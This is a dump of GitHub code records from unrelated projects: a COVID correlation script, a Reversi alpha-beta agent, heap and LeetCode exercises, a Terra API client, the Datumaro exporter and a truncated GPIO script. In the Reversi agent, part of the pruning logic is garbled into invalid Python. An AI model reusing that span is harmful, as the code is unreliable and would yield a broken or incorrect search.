values\r\n\r\nprint(Num,'/',Den,'is equal to',Num//Den, Num%Den,'/',Den)\r\n\r\n#printing the mixed fraction\r\n","repo_name":"bmorale1/Program-Repository","sub_path":"Python/Morales_brandon_lab7_fraction.py","file_name":"Morales_brandon_lab7_fraction.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39863605278","text":"import json\nimport contextlib\nfrom pathlib import Path\nimport pandas as pd\n\nfrom analysis import VARIANTS, COUNTRIES_MAP\n\nCORRELATIONS = \"output/correlations.json\"\n\n\ndef correlations(df_index, df_other):\n df = df_index.merge(df_other, on=[\"Country\", \"Week\"])\n return {\n variant: df[variant + \"_x\"].corr(df[variant + \"_y\"])\n for variant in VARIANTS + [\"Total\"]\n }\n\n\ndef subset_correlations(country, output=\"output\"):\n files = list(Path.cwd().glob(f\"{output}/{country}/{country}*.csv\"))\n index_file_name = f\"{country}_weekly.csv\"\n if not any(f.name == index_file_name for f in files):\n raise ValueError(f\"Generate index file {output}/{country}/{country}_weekly.csv\")\n df_index = pd.read_csv(f\"{output}/{country}/{index_file_name}\")\n total = df_index.Total.sum()\n retval = {}\n for file in [\n f for f in files if f.name != index_file_name and \"group\" not in f.name\n ]:\n df = pd.read_csv(file)\n corr = correlations(df_index, df)\n corr[\"ratio\"] = df.Total.sum() / total\n retval[file.name] = corr\n return retval\n\n\ndef week_to_float(weekstr: str) -> float:\n w = str(weekstr)\n assert len(w) == 6\n year, week = w[:4], w[4:]\n return int(year) + (int(week) - 1) / 52\n\n\n_correlations = {}\n\nfor country in COUNTRIES_MAP.values():\n with contextlib.suppress(ValueError):\n _correlations[country] = subset_correlations(country)\nwith open(CORRELATIONS, \"w\") as fp:\n json.dump(_correlations, fp, indent=2, sort_keys=True)\n","repo_name":"globaldothealth/covid19-variants-summary","sub_path":"correlations.py","file_name":"correlations.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"3498835069","text":"from template import Agent\nimport random\n\n\nclass myAgent(Agent):\n def __init__(self,_id):\n super().__init__(_id)\n \n def SelectAction(self,actions,game_state):\n return random.choice(actions)\nfrom template import Agent\nfrom template import GameState, GameRule, Agent\nimport random\nimport numpy as np\nimport copy\nimport operator\nimport time\nfrom Reversi.reversi_utils import Cell,filpColor,boardToString,countScore, GRID_SIZE\n\n\n \nclass myAgent(Agent):\n def __init__(self,_id):\n super().__init__(_id)\n self.validPos = self._validPos()\n self.weight = [ [ 4, -3, 2, 2, 2, 2 ,-3, 4 ],\n [-3, -4, -1, -1, -1, -1, -4, -3],\n [2, -1, 1, 0, 0, 1, -1, 2 ],\n [2, -1, 0, 1, 1, 0, -1, 2 ],\n [2, -1, 0, 1, 1, 0, -1, 2 ],\n [2, -1, 1, 0, 0, 1, -1, 2 ],\n [-3, -4, -1, -1, -1, -1, -4, -3 ],\n [4, -3, 2, 2, 2, 2, -3, 4]]\n \n self.t = 0\n self.turn = 0\n \n\n def countWeight(self,board,grid_size,player_color):\n score = 0\n oppo = 0\n if player_color == 0:\n oppo = 1\n for i in range(grid_size):\n for j in range(grid_size):\n if board[i][j] == player_color:\n score += self.weight[i][j]\n elif board[i][j] == oppo:\n score -= self.weight[i][j]\n \n return score\n\n \n def _validPos(self):\n pos_list = []\n for x in range(8):\n for y in range(8):\n pos_list.append((x,y))\n return pos_list\n \n def generateSuccessor(self, state, action, agent_color):\n if action == \"Pass\":\n return state\n else:\n next_state = copy.deepcopy(state)\n update_color = agent_color\n next_state[action[0]][action[1]] = update_color\n # iterate over all 8 directions and check pieces that require updates\n for direction in [(1,0), (-1,0), (0,1), (0,-1), (1,1), (1,-1), (-1,1), (-1,-1)]:\n cur_pos = (action[0] + direction[0], action[1] + direction[1])\n update_list = list()\n flag = False\n # Only searching for updates if the next piece in the direction is from the agent's opponent\n while cur_pos in self.validPos and next_state[cur_pos[0]][cur_pos[1]] != -1:\n if next_state[cur_pos[0]][cur_pos[1]] == update_color:\n flag = True\n break\n update_list.append(cur_pos)\n cur_pos = (cur_pos[0] + direction[0], cur_pos[1] + direction[1])\n if flag and len(update_list) != 0:\n for i,j in update_list:\n next_state[i][j] = update_color\n return next_state\n\n\n def getLegalActions(self, game_state, agent_color):\n actions = []\n # print(f\"Current game state: \\n{boardToString(game_state.board,GRID_SIZE)}\")\n for x in range(GRID_SIZE):\n for y in range(GRID_SIZE):\n if game_state[x][y] == -1:\n pos = (x,y)\n for direction in [(1,0), (-1,0), (0,1), (0,-1), (1,1), (1,-1), (-1,1), (-1,-1)]:\n temp_pos = tuple(map(operator.add,pos,direction))\n if temp_pos in self.validPos and game_state[temp_pos[0]][temp_pos[1]] != -1 and game_state[temp_pos[0]][temp_pos[1]] != agent_color:\n while temp_pos in self.validPos:\n if game_state[temp_pos[0]][temp_pos[1]] == -1:\n break\n if game_state[temp_pos[0]][temp_pos[1]] == agent_color:\n actions.append(pos)\n break\n temp_pos = tuple(map(operator.add,temp_pos,direction))\n if len(actions) == 0:\n actions.append(\"Pass\")\n return actions\n \n def abpruning(self,previous_action,actions,game_state,depth,myid,current_action,alpha,beta):\n mycolor = myid\n nextd = depth / len(actions)\n if depth < 1 or nextd < 0.2:\n score = self.countWeight(game_state,8,mycolor)\n if (self.weight[0][0]!=1):\n score += len(actions) - len(previous_action)\n if myid == 1:\n score = -score\n return (score,current_action)\n elif actions[0] == \"Pass\" and current_action == \"Pass\":\n score = self.countWeight(game_state,8,mycolor)\n if myid == 1:\n score = -score\n return (score,current_action)\n \n \n reverse_id = 0\n current_v = 9999\n best_action = current_action\n if myid == 0:\n reverse_id = 1\n current_v = -9999\n\n for act in actions:\n self.t += 1\n one_move = self.generateSuccessor(game_state, act, mycolor)\n r_actions = self.getLegalActions(one_move, reverse_id)\n v = self.abpruning(actions,r_actions,one_move,nextd,reverse_id,act,alpha,beta)\n if (myid == 0):\n if v[0]>current_v:\n current_v = v[0]\n best_action = act\n if current_v > beta:\n break\n if current_v>alpha:\n alpha = current_v\n else:\n if v[0]=beta):\n break\n return (current_v,best_action)\n \n def SelectAction(self,actions,game_state):\n current_t = time.time()\n simple_board = [[j.value for j in i] for i in game_state.board]\n color = self.id\n color = game_state.agent_colors[color].value\n self.turn+=1\n self.t = 0\n choice = self.abpruning(actions,actions,simple_board,800,color,\"NULL\",-9999,9999)\n print(time.time() - current_t,self.t)\n return choice[1]\n\n return act","repo_name":"Demiiiiiiii/Reversi","sub_path":"agents/t_027/minimax.py","file_name":"minimax.py","file_ext":"py","file_size_in_byte":6445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13146665159","text":"\"\"\"\nmake another array thats sorted... iterate through both at the same time\nif not the same increase count.\n\nget frequency arr... \ndecrease each count by one when we reach the height.. if prev height isn't it\nincrease count by 1\n\"\"\"\nclass Solution:\n def heightChecker(self, heights: List[int]) -> int:\n sortedHeights = sorted(heights)\n total = 0\n \n for i in range(len(heights)):\n if heights[i] != sortedHeights[i]:\n total += 1\n return total\n\n\n\"\"\"\nmake another array thats sorted... iterate through both at the same time\nif not the same increase count.\n\nget frequency arr... \ndecrease each count by one when we reach the height.. if prev height isn't it\nincrease count by 1\n\"\"\"\nclass Solution:\n def heightChecker(self, heights: List[int]) -> int:\n mx = max(heights)\n countArr = [0 for i in range(mx+1)]\n \n for i in range(len(heights)):\n countArr[heights[i]] += 1\n \n currentHeight = 0 \n res = 0\n for i in range(len(heights)):\n while countArr[currentHeight] == 0:\n currentHeight += 1\n if heights[i] != currentHeight:\n res += 1\n countArr[currentHeight] -= 1\n return res","repo_name":"brdayauon/s30SpeedRunning","sub_path":"array/heightChecker.py","file_name":"heightChecker.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13335333686","text":"import os\nimport requests\nimport json\nfrom requests_toolbelt.multipart.encoder import MultipartEncoder\n\ndef pretty_print_POST(req):\n \"\"\"\n At this point it is completely built and ready\n to be fired; it is \"prepared\".\n However pay attention at the formatting used in \n this function because it is programmed to be pretty \n printed and may differ from the actual request.\n \"\"\"\n print('{}\\n{}\\r\\n{}\\r\\n\\r\\n{}'.format(\n '-----------START-----------',\n req.method + ' ' + req.url,\n '\\r\\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),\n req.body,\n ))\n\ndef prepare_header(token=None):\n if token == None:\n token = os.popen('gcloud auth --account=terra-api@maximal-dynamo-308105.iam.gserviceaccount.com print-access-token').read().rstrip()\n head = {'accept': '*/*',\"Content-Type\": \"application/json\", 'Authorization': 'Bearer {}'.format(token)}\n print(head)\n return head\n \n\ndef submit_workflow(workspaceNamespace, workspaceName, submissionEntityType, submissionEntityName, submissionExpression):\n data={\n \"methodConfigurationNamespace\": \"singlem\",\n \"methodConfigurationName\": \"singlem-single-task\",\n \"entityType\": submissionEntityType,\n \"entityName\": submissionEntityName,\n \"expression\": submissionExpression,\n \"useCallCache\": False,\n \"deleteIntermediateOutputFiles\": True,\n \"useReferenceDisks\": False,\n \"workflowFailureMode\": \"NoNewCalls\"\n }\n \n head = prepare_header()\n \n myUrl = f'https://api.firecloud.org/api/workspaces/{workspaceNamespace}/{workspaceName}/submissions'\n response = requests.post(myUrl, data=json.dumps(data), headers=head)\n return response\n\ndef get_workflow_config(workspaceNamespace, workspaceName, methodConfigNamespace, methodConfigName, token=None):\n \n myUrl = f'https://api.firecloud.org/api/workspaces/{workspaceNamespace}/{workspaceName}/method_configs/{methodConfigNamespace}/{methodConfigName}'\n\n head = prepare_header(token)\n \n \n req = requests.Request('GET', myUrl, headers=head)\n prepared = req.prepare()\n pretty_print_POST(prepared)\n s = requests.Session()\n response = s.send(prepared)\n print(response)\n\n #response = requests.get(myUrl, headers=head)\n #print('terra api request submitted')\n return response\n \n\n response = requests.get(myUrl, headers=head)\n return response\n\ndef set_workflow_config(workspaceNamespace, workspaceName, methodNamespace, methodName, methodVersion, methodConfigRootEntityType, methodConfigVersion):\n\n myUrl = f'https://api.firecloud.org/api/workspaces/{workspaceNamespace}/{workspaceName}/method_configs/{methodNamespace}/{methodName}'\n\n data = {\n \"deleted\": False,\n \"inputs\": {\n \"SingleM_SRA.GCloud_User_Key_File\": \"\\\"gs://fc-833c2d81-556a-4c83-aed7-21f884f6fec0/sa-private-key.json\\\"\",\n \"SingleM_SRA.AWS_User_Key\": \"\",\n \"SingleM_SRA.metagenome_size_in_GB\": \"this.metagenome_size_in_GB\",\n \"SingleM_SRA.SRA_accession_num\": \"this.sra_accession\",\n \"SingleM_SRA.GCloud_Paid\": \"false\",\n \"SingleM_SRA.metagenome_size_in_gbp\": \"this.metagenome_size_in_gbp\",\n \"SingleM_SRA.Download_Method_Order\": \"\\\"aws-http prefetch\\\"\",\n \"SingleM_SRA.AWS_User_Key_Id\": \"\"\n },\n \"methodConfigVersion\": methodConfigVersion,\n \"methodRepoMethod\": {\n \"methodName\": methodName,\n \"methodVersion\": methodVersion,\n \"methodNamespace\": methodNamespace,\n \"methodUri\": f\"agora://{methodNamespace}/{methodName}/{methodVersion}\",\n \"sourceRepo\": \"agora\"\n },\n \"name\": methodName,\n \"namespace\": methodNamespace,\n \"outputs\": {\n \"SingleM_SRA.SingleM_tables\": \"this.singlem_table\"\n },\n \"prerequisites\": {},\n \"rootEntityType\": methodConfigRootEntityType\n }\n \n head = prepare_header()\n\n response = requests.put(myUrl, data=json.dumps(data), headers=head)\n return response\n\ndef get_method(methodConfigNamespace, methodConfigName, methodConfigVersion):\n\n myUrl = f'https://api.firecloud.org/api/methods/{methodConfigNamespace}/{methodConfigName}/{methodConfigVersion}?onlyPayload=false'\n \n head = prepare_header()\n\n response = requests.get(myUrl, headers=head)\n return response\n\ndef import_entity_from_tsv(file_path):\n token = os.popen('gcloud auth --account=terra-api@maximal-dynamo-308105.iam.gserviceaccount.com print-access-token').read().rstrip()\n\n url = 'https://api.firecloud.org/api/workspaces/firstterrabillingaccount/singlem-pilot-2/flexibleImportEntities'\n\n m = MultipartEncoder(\n fields={\"workspaceNamespace\": \"firstterrabillingaccount\",\"workspaceName\": \"singlem-pilot-2\",\n 'entities': ('filename', open(file_path, 'rb'), 'text/plain')}\n )\n\n head = {'accept': '*/*','Content-Type': m.content_type, 'Authorization': 'Bearer {}'.format(token)}\n\n response = requests.post(url, data=m, headers=head)\n return response\n","repo_name":"wwood/singlem-wdl","sub_path":"terra_api.py","file_name":"terra_api.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"22542606592","text":"# https://www.hackerrank.com/challenges/jesse-and-cookies\n\n\nclass MinHeap:\n def __init__(self):\n # start from element 1 (root)\n self.array = [None]\n\n def __str__(self):\n return str(self.array)\n\n def swap(self, index_a, index_b):\n temp = self.array[index_a]\n self.array[index_a] = self.array[index_b]\n self.array[index_b] = temp\n\n def swim(self, index):\n \"\"\"\n Promote a node up to the binary tree\n \"\"\"\n # while it is not the root, and the parent is smaller than this node\n # promote the node up to to the tree\n while index > 1 and self.array[int(index / 2)] >= self.array[index]:\n self.swap(index, int(index / 2))\n index = int(index / 2)\n\n def insert(self, data):\n # Add the new element at the end of the heap\n self.array.append(data)\n\n # Keep the heap in order by promoting the new node at the correct place\n last_index = len(self.array) - 1\n self.swim(last_index)\n\n def sink(self, index):\n \"\"\"\n Put a node down of the binary tree\n \"\"\"\n while 2 * index < len(self.array):\n # left child is smaller\n smaller_child = 2 * index\n\n # right child is smaller\n if smaller_child < (len(self.array) - 1) and self.array[smaller_child] > self.array[smaller_child + 1]:\n smaller_child += 1\n\n # order fixed\n if self.array[index] < self.array[smaller_child]:\n break\n\n self.swap(index, smaller_child)\n\n index = smaller_child\n\n def del_min(self):\n # root is always the min\n min_element = self.array[1]\n\n # make the last element as root\n self.swap(1, len(self.array) - 1)\n del self.array[len(self.array) - 1]\n\n # put the heap in the right order\n self.sink(1)\n\n return min_element\n\n def peek(self):\n return self.array[1]\n\n def is_empty(self):\n return len(self.array) == 1\n\n\ndef count_operations(array, k):\n heap = MinHeap()\n\n for item in array:\n heap.insert(item)\n\n ops_cnt = 0\n min_sweet = heap.peek()\n\n while min_sweet < k and not heap.is_empty():\n min_1 = heap.del_min()\n\n if heap.is_empty():\n return -1\n\n min_2 = heap.del_min()\n\n heap.insert((1 * min_1) + (2 * min_2))\n min_sweet = heap.peek()\n ops_cnt += 1\n\n if heap.is_empty():\n return -1\n else:\n return ops_cnt\n\nn, k = input().strip().split(' ')\narr = [int(i) for i in input().strip().split(' ')]\n\nprint(count_operations(arr, int(k)))\n","repo_name":"TheolZacharopoulos/algorithms-playground","sub_path":"data_structures/heaps/cookies.py","file_name":"cookies.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72055426935","text":"import json\nimport os\nimport os.path as osp\nimport shutil\nfrom contextlib import contextmanager\nfrom multiprocessing.pool import Pool\nfrom typing import Dict, Optional\n\nimport numpy as np\nimport pycocotools.mask as mask_utils\nfrom json_stream.writer import streamable_dict, streamable_list\n\nfrom datumaro.components.annotation import (\n Annotation,\n Bbox,\n Caption,\n Cuboid3d,\n Ellipse,\n HashKey,\n Label,\n LabelCategories,\n Mask,\n MaskCategories,\n Points,\n PointsCategories,\n Polygon,\n PolyLine,\n RleMask,\n _Shape,\n)\nfrom datumaro.components.crypter import NULL_CRYPTER\nfrom datumaro.components.dataset_base import DatasetItem\nfrom datumaro.components.dataset_item_storage import ItemStatus\nfrom datumaro.components.exporter import ExportContextComponent, Exporter\nfrom datumaro.components.media import Image, MediaElement, PointCloud, Video, VideoFrame\nfrom datumaro.util import cast, dump_json_file\n\nfrom .format import DATUMARO_FORMAT_VERSION, DatumaroPath\n\n\nclass JsonWriter:\n @classmethod\n def _convert_attribute_categories(cls, attributes):\n return sorted(attributes)\n\n @classmethod\n def _convert_labels_label_groups(cls, labels):\n return sorted(labels)\n\n @classmethod\n def _convert_label_categories(cls, obj):\n converted = {\n \"labels\": [],\n \"label_groups\": [],\n \"attributes\": cls._convert_attribute_categories(obj.attributes),\n }\n for label in obj.items:\n converted[\"labels\"].append(\n {\n \"name\": cast(label.name, str),\n \"parent\": cast(label.parent, str),\n \"attributes\": cls._convert_attribute_categories(label.attributes),\n }\n )\n for label_group in obj.label_groups:\n converted[\"label_groups\"].append(\n {\n \"name\": cast(label_group.name, str),\n \"group_type\": label_group.group_type.to_str(),\n \"labels\": cls._convert_labels_label_groups(label_group.labels),\n }\n )\n return converted\n\n @classmethod\n def _convert_mask_categories(cls, obj):\n converted = {\n \"colormap\": [],\n }\n for label_id, color in obj.colormap.items():\n converted[\"colormap\"].append(\n {\n \"label_id\": int(label_id),\n \"r\": int(color[0]),\n \"g\": int(color[1]),\n \"b\": int(color[2]),\n }\n )\n return converted\n\n @classmethod\n def _convert_points_categories(cls, obj):\n converted = {\n \"items\": [],\n }\n for label_id, item in obj.items.items():\n converted[\"items\"].append(\n {\n \"label_id\": int(label_id),\n \"labels\": [cast(label, str) for label in item.labels],\n \"joints\": [list(map(int, j)) for j in item.joints],\n }\n )\n return converted\n\n @classmethod\n def write_categories(cls, categories) -> Dict[str, Dict]:\n dict_cat = {}\n for ann_type, desc in categories.items():\n if isinstance(desc, LabelCategories):\n converted_desc = cls._convert_label_categories(desc)\n elif isinstance(desc, MaskCategories):\n converted_desc = cls._convert_mask_categories(desc)\n elif isinstance(desc, PointsCategories):\n converted_desc = cls._convert_points_categories(desc)\n else:\n raise NotImplementedError()\n dict_cat[ann_type.name] = converted_desc\n\n return dict_cat\n\n\nclass _SubsetWriter:\n def __init__(\n self,\n context: Exporter,\n subset: str,\n ann_file: str,\n export_context: ExportContextComponent,\n ):\n self._context = context\n self._subset = subset\n\n self._data = {\n \"dm_format_version\": DATUMARO_FORMAT_VERSION,\n \"media_type\": context._extractor.media_type()._type,\n \"infos\": {},\n \"categories\": {},\n \"items\": [],\n }\n\n self.ann_file = ann_file\n self.export_context = export_context\n\n @property\n def infos(self):\n return self._data[\"infos\"]\n\n @property\n def categories(self):\n return self._data[\"categories\"]\n\n @property\n def items(self):\n return self._data[\"items\"]\n\n def is_empty(self):\n return not self.items\n\n @staticmethod\n @contextmanager\n def context_save_media(\n item: DatasetItem, context: ExportContextComponent, encryption: bool = False\n ) -> None:\n \"\"\"Implicitly change the media path and save it if save_media=True.\n When done, revert it's path as before.\n\n Parameters\n ----------\n item: Dataset item to save its media\n context: Context instance to help the media export\n encryption: If false, prevent the media from being encrypted\n \"\"\"\n if item.media is None:\n yield\n elif isinstance(item.media, VideoFrame):\n video_frame = item.media_as(VideoFrame)\n\n if context.save_media:\n fname = context.make_video_filename(item)\n if not osp.exists(fname):\n context.save_video(item, fname=fname)\n item.media = VideoFrame(Video(fname), video_frame.index)\n\n yield\n item.media = video_frame\n elif isinstance(item.media, Image):\n image = item.media_as(Image)\n\n if context.save_media:\n # Temporarily update image path and save it.\n fname = context.make_image_filename(item)\n context.save_image(item, encryption=encryption, fname=fname, subdir=item.subset)\n item.media = Image.from_file(path=fname, size=image._size)\n\n yield\n item.media = image\n elif isinstance(item.media, PointCloud):\n pcd = item.media_as(PointCloud)\n\n if context.save_media:\n pcd_fname = context.make_pcd_filename(item)\n context.save_point_cloud(item, fname=pcd_fname, subdir=item.subset)\n\n extra_images = []\n for i, extra_image in enumerate(pcd.extra_images):\n extra_images.append(\n Image.from_file(\n path=context.make_pcd_extra_image_filename(item, i, extra_image)\n )\n )\n\n # Temporarily update media with a new pcd saved into disk.\n item.media = PointCloud.from_file(path=pcd_fname, extra_images=extra_images)\n\n yield\n item.media = pcd\n else:\n raise NotImplementedError\n\n def add_item(self, item: DatasetItem, *args, **kwargs) -> None:\n self.items.append(self._gen_item_desc(item))\n\n def _gen_item_desc(self, item: DatasetItem, *args, **kwargs) -> Dict:\n annotations = []\n item_desc = {\n \"id\": item.id,\n \"annotations\": annotations,\n }\n\n if item.attributes:\n item_desc[\"attr\"] = item.attributes\n\n with self.context_save_media(item, self.export_context):\n # Since VideoFrame is a descendant of Image, this condition should be ahead of Image\n if isinstance(item.media, VideoFrame):\n video_frame = item.media_as(VideoFrame)\n item_desc[\"video_frame\"] = {\n \"video_path\": getattr(video_frame.video, \"path\", None),\n \"frame_index\": getattr(video_frame, \"index\", -1),\n }\n elif isinstance(item.media, Image):\n image = item.media_as(Image)\n item_desc[\"image\"] = {\"path\": getattr(image, \"path\", None)}\n if item.media.has_size: # avoid occasional loading\n item_desc[\"image\"][\"size\"] = image.size\n elif isinstance(item.media, PointCloud):\n pcd = item.media_as(PointCloud)\n\n item_desc[\"point_cloud\"] = {\"path\": getattr(pcd, \"path\", None)}\n\n related_images = [\n {\"path\": getattr(img, \"path\", None), \"size\": img.size}\n if img.has_size\n else {\"path\": getattr(img, \"path\", None)}\n for img in pcd.extra_images\n ]\n\n if related_images:\n item_desc[\"related_images\"] = related_images\n elif isinstance(item.media, MediaElement):\n item_desc[\"media\"] = {\"path\": getattr(item.media, \"path\", None)}\n\n for ann in item.annotations:\n if isinstance(ann, Label):\n converted_ann = self._convert_label_object(ann)\n elif isinstance(ann, Mask):\n converted_ann = self._convert_mask_object(ann)\n elif isinstance(ann, Points):\n converted_ann = self._convert_points_object(ann)\n elif isinstance(ann, PolyLine):\n converted_ann = self._convert_polyline_object(ann)\n elif isinstance(ann, Polygon):\n converted_ann = self._convert_polygon_object(ann)\n elif isinstance(ann, Bbox):\n converted_ann = self._convert_bbox_object(ann)\n elif isinstance(ann, Caption):\n converted_ann = self._convert_caption_object(ann)\n elif isinstance(ann, Cuboid3d):\n converted_ann = self._convert_cuboid_3d_object(ann)\n elif isinstance(ann, Ellipse):\n converted_ann = self._convert_ellipse_object(ann)\n elif isinstance(ann, HashKey):\n continue\n else:\n raise NotImplementedError()\n annotations.append(converted_ann)\n\n return item_desc\n\n def add_infos(self, infos):\n self._data[\"infos\"].update(infos)\n\n def add_categories(self, categories):\n self._data[\"categories\"] = JsonWriter.write_categories(categories)\n\n def write(self, *args, **kwargs):\n dump_json_file(self.ann_file, self._data)\n\n def _convert_annotation(self, obj):\n assert isinstance(obj, Annotation)\n\n ann_json = {\n \"id\": cast(obj.id, int),\n \"type\": cast(obj.type.name, str),\n \"attributes\": obj.attributes,\n \"group\": cast(obj.group, int, 0),\n }\n if obj.object_id >= 0:\n ann_json[\"object_id\"] = cast(obj.object_id, int)\n return ann_json\n\n def _convert_label_object(self, obj):\n converted = self._convert_annotation(obj)\n\n converted.update(\n {\n \"label_id\": cast(obj.label, int),\n }\n )\n return converted\n\n def _convert_mask_object(self, obj):\n converted = self._convert_annotation(obj)\n\n if isinstance(obj, RleMask):\n rle = obj.rle\n else:\n rle = mask_utils.encode(np.require(obj.image, dtype=np.uint8, requirements=\"F\"))\n\n if isinstance(rle[\"counts\"], str):\n counts = rle[\"counts\"]\n else:\n counts = rle[\"counts\"].decode(\"ascii\")\n\n converted.update(\n {\n \"label_id\": cast(obj.label, int),\n \"rle\": {\n # serialize as compressed COCO mask\n \"counts\": counts,\n \"size\": list(int(c) for c in rle[\"size\"]),\n },\n \"z_order\": obj.z_order,\n }\n )\n return converted\n\n def _convert_shape_object(self, obj):\n assert isinstance(obj, _Shape)\n converted = self._convert_annotation(obj)\n\n converted.update(\n {\n \"label_id\": cast(obj.label, int),\n \"points\": [float(p) for p in obj.points],\n \"z_order\": obj.z_order,\n }\n )\n return converted\n\n def _convert_polyline_object(self, obj):\n return self._convert_shape_object(obj)\n\n def _convert_polygon_object(self, obj):\n return self._convert_shape_object(obj)\n\n def _convert_bbox_object(self, obj):\n converted = self._convert_shape_object(obj)\n converted.pop(\"points\", None)\n converted[\"bbox\"] = [float(p) for p in obj.get_bbox()]\n return converted\n\n def _convert_points_object(self, obj):\n converted = self._convert_shape_object(obj)\n\n converted.update(\n {\n \"visibility\": [int(v.value) for v in obj.visibility],\n }\n )\n return converted\n\n def _convert_caption_object(self, obj):\n converted = self._convert_annotation(obj)\n\n converted.update(\n {\n \"caption\": cast(obj.caption, str),\n }\n )\n return converted\n\n def _convert_cuboid_3d_object(self, obj):\n converted = self._convert_annotation(obj)\n converted.update(\n {\n \"label_id\": cast(obj.label, int),\n \"position\": [float(p) for p in obj.position],\n \"rotation\": [float(p) for p in obj.rotation],\n \"scale\": [float(p) for p in obj.scale],\n }\n )\n return converted\n\n def _convert_ellipse_object(self, obj: Ellipse):\n return self._convert_shape_object(obj)\n\n\nclass _StreamSubsetWriter(_SubsetWriter):\n def __init__(\n self,\n context: Exporter,\n subset: str,\n ann_file: str,\n export_context: ExportContextComponent,\n ):\n super().__init__(context, subset, ann_file, export_context)\n\n def write(self, *args, **kwargs):\n @streamable_list\n def _item_list():\n subset = self._context._extractor.get_subset(self._subset)\n pbar = self._context._ctx.progress_reporter\n for item in pbar.iter(subset, desc=f\"Exporting '{self._subset}'\"):\n yield self._gen_item_desc(item)\n\n @streamable_dict\n def _data():\n yield \"dm_format_version\", self._data[\"dm_format_version\"]\n yield \"media_type\", self._data[\"media_type\"]\n yield \"infos\", self._data[\"infos\"]\n yield \"categories\", self._data[\"categories\"]\n yield \"items\", _item_list()\n\n with open(self.ann_file, \"w\", encoding=\"utf-8\") as fp:\n json.dump(_data(), fp)\n\n def is_empty(self):\n # TODO: Force empty to be False, but it should be fixed with refactoring `_SubsetWriter`.`\n return False\n\n\nclass DatumaroExporter(Exporter):\n DEFAULT_IMAGE_EXT = DatumaroPath.IMAGE_EXT\n PATH_CLS = DatumaroPath\n\n def create_writer(\n self,\n subset: str,\n images_dir: str,\n pcd_dir: str,\n video_dir: str,\n ) -> _SubsetWriter:\n export_context = ExportContextComponent(\n save_dir=self._save_dir,\n save_media=self._save_media,\n images_dir=images_dir,\n pcd_dir=pcd_dir,\n video_dir=video_dir,\n crypter=NULL_CRYPTER,\n image_ext=self._image_ext,\n default_image_ext=self._default_image_ext,\n )\n\n return (\n _SubsetWriter(\n context=self,\n subset=subset,\n ann_file=osp.join(self._annotations_dir, subset + self.PATH_CLS.ANNOTATION_EXT),\n export_context=export_context,\n )\n if not self._stream\n else _StreamSubsetWriter(\n context=self,\n subset=subset,\n ann_file=osp.join(self._annotations_dir, subset + self.PATH_CLS.ANNOTATION_EXT),\n export_context=export_context,\n )\n )\n\n def _apply_impl(self, pool: Optional[Pool] = None, *args, **kwargs):\n os.makedirs(self._save_dir, exist_ok=True)\n\n images_dir = osp.join(self._save_dir, self.PATH_CLS.IMAGES_DIR)\n os.makedirs(images_dir, exist_ok=True)\n self._images_dir = images_dir\n\n annotations_dir = osp.join(self._save_dir, self.PATH_CLS.ANNOTATIONS_DIR)\n os.makedirs(annotations_dir, exist_ok=True)\n self._annotations_dir = annotations_dir\n\n self._pcd_dir = osp.join(self._save_dir, self.PATH_CLS.PCD_DIR)\n self._video_dir = osp.join(self._save_dir, self.PATH_CLS.VIDEO_DIR)\n\n writers = {\n subset: self.create_writer(\n subset,\n self._images_dir,\n self._pcd_dir,\n self._video_dir,\n )\n for subset in self._extractor.subsets()\n }\n\n for writer in writers.values():\n writer.add_infos(self._extractor.infos())\n writer.add_categories(self._extractor.categories())\n\n pbar = self._ctx.progress_reporter\n for subset_name, subset in self._extractor.subsets().items():\n if not self._stream:\n for item in pbar.iter(subset, desc=f\"Exporting '{subset_name}'\"):\n writers[subset_name].add_item(item, pool)\n\n for subset, writer in writers.items():\n if self._patch and subset in self._patch.updated_subsets and writer.is_empty():\n if osp.isfile(writer.ann_file):\n # Remove subsets that became empty\n os.remove(writer.ann_file)\n continue\n\n writer.write(pool)\n\n if self._save_hashkey_meta:\n self._save_hashkey_file(self._save_dir)\n\n @classmethod\n def patch(cls, dataset, patch, save_dir, **kwargs):\n for subset in patch.updated_subsets:\n conv = cls(dataset.get_subset(subset), save_dir=save_dir, **kwargs)\n conv._patch = patch\n conv.apply()\n\n conv = cls(dataset, save_dir=save_dir, **kwargs)\n for (item_id, subset), status in patch.updated_items.items():\n if status != ItemStatus.removed:\n item = patch.data.get(item_id, subset)\n else:\n item = DatasetItem(item_id, subset=subset)\n\n if not (status == ItemStatus.removed or not item.media):\n continue\n\n image_path = osp.join(\n save_dir, cls.PATH_CLS.IMAGES_DIR, item.subset, conv._make_image_filename(item)\n )\n if osp.isfile(image_path):\n os.unlink(image_path)\n\n pcd_path = osp.join(\n save_dir, cls.PATH_CLS.PCD_DIR, item.subset, conv._make_pcd_filename(item)\n )\n if osp.isfile(pcd_path):\n os.unlink(pcd_path)\n\n related_images_path = osp.join(save_dir, cls.PATH_CLS.IMAGES_DIR, item.subset, item.id)\n if osp.isdir(related_images_path):\n shutil.rmtree(related_images_path)\n\n @property\n def can_stream(self) -> bool:\n return True\n","repo_name":"openvinotoolkit/datumaro","sub_path":"src/datumaro/plugins/data_formats/datumaro/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":18958,"program_lang":"python","lang":"en","doc_type":"code","stars":435,"dataset":"github-code","pt":"22"} +{"seq_id":"74967618615","text":"import RPi.GPIO as GPIO\nimport time\n\ndef main():\n pins = list(range(1, 25))\n GPIO.setmode(GPIO.BCM)\n for k in pins:\n GPIO.setup(k, GPIO.OUT)\n zeit = int(time.time_ns() / (10 ** 9)) # in Sekunden\n try:\n while True:\n zeit_vorher = zeit\n zeit = int(time.time_ns() / (10 ** 9)) # in Sekunden\n if zeit_vorher != zeit:\n # Alle \"gleichzeitig\":\n for k in pins:\n GPIO.output(k, GPIO.HIGH)\n 